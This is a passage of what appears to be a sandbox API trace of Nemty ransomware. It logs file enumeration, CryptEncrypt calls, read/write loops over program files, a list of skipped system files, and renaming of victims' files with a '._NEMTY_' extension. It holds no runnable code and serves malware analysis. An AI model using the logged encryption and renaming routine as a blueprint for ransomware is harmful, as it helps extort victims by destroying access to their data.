lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0089.144] CloseHandle (hObject=0xffffffff) returned 0 [0089.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0089.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0089.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0089.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0089.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0089.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0089.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.144] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png._nemty_kgobjgd_")) returned 0 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0089.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.145] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2=".") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="..") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="...") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="windows") returned -1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="rsa") returned -1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="NTDETECT.COM") returned -1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="ntldr") returned -1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="MSDOS.SYS") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="IO.SYS") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="ntuser.dat") returned -1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0089.145] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="CONFIG.SYS") returned 1 [0089.146] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="RECYCLER") returned -1 [0089.146] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0089.146] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0089.146] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="programdata") returned -1 [0089.146] lstrcmpiW (lpString1="NextMenuButtonIcon.png", lpString2="appdata") returned 1 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0089.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0089.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0089.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0089.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0089.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0089.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0089.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0089.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0089.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0089.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0089.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0089.146] Sleep (dwMilliseconds=0x5) [0089.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8c916d0, dwHighDateTime=0x1d561e7)) [0089.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8c916d0, dwHighDateTime=0x1d561e7)) [0089.152] GetLastError () returned 0x5 [0089.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.152] GetLastError () returned 0x5 [0089.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.152] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0089.152] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0089.152] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0089.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0089.152] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="CzJ6jEcl9hs1CGaIIKFrCpiNxu6YVzWYkDlIBme9TwLVSdbAFUmroJRyjZQAatwd\r\noAK/vHBzigL5s1eNUbjroFOk6KhghdiVpjfSav9qHH+Wsyy9itaSF6cKb6a4iXkJ\r\nhTfBYEF7/+FCjAjP2zxiu3JNM2p1q9FEOSRN4Ld1ALsN9zBoTGHMDQUt2Kh/vebC\r\n5IhwkW8y6jvb1umoukoP3t08RNJE7xj4367rNoqW+Sn6aGg5sjtqdL561Nr/oX1i\r\nkql4826/dD/MK//P1eqlIp7LoK6eVdBnMTIadl34J7HBQDa1GZDmZYxqJ0DLaf4o\r\njMCOJ8f1/D87wQNkDSaSGg==\r\n", pcchString=0x653e91c) returned 1 [0089.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0089.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0089.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0089.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0089.153] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.153] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0089.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0089.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.153] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.162] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.181] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.221] SetFilePointer (in: 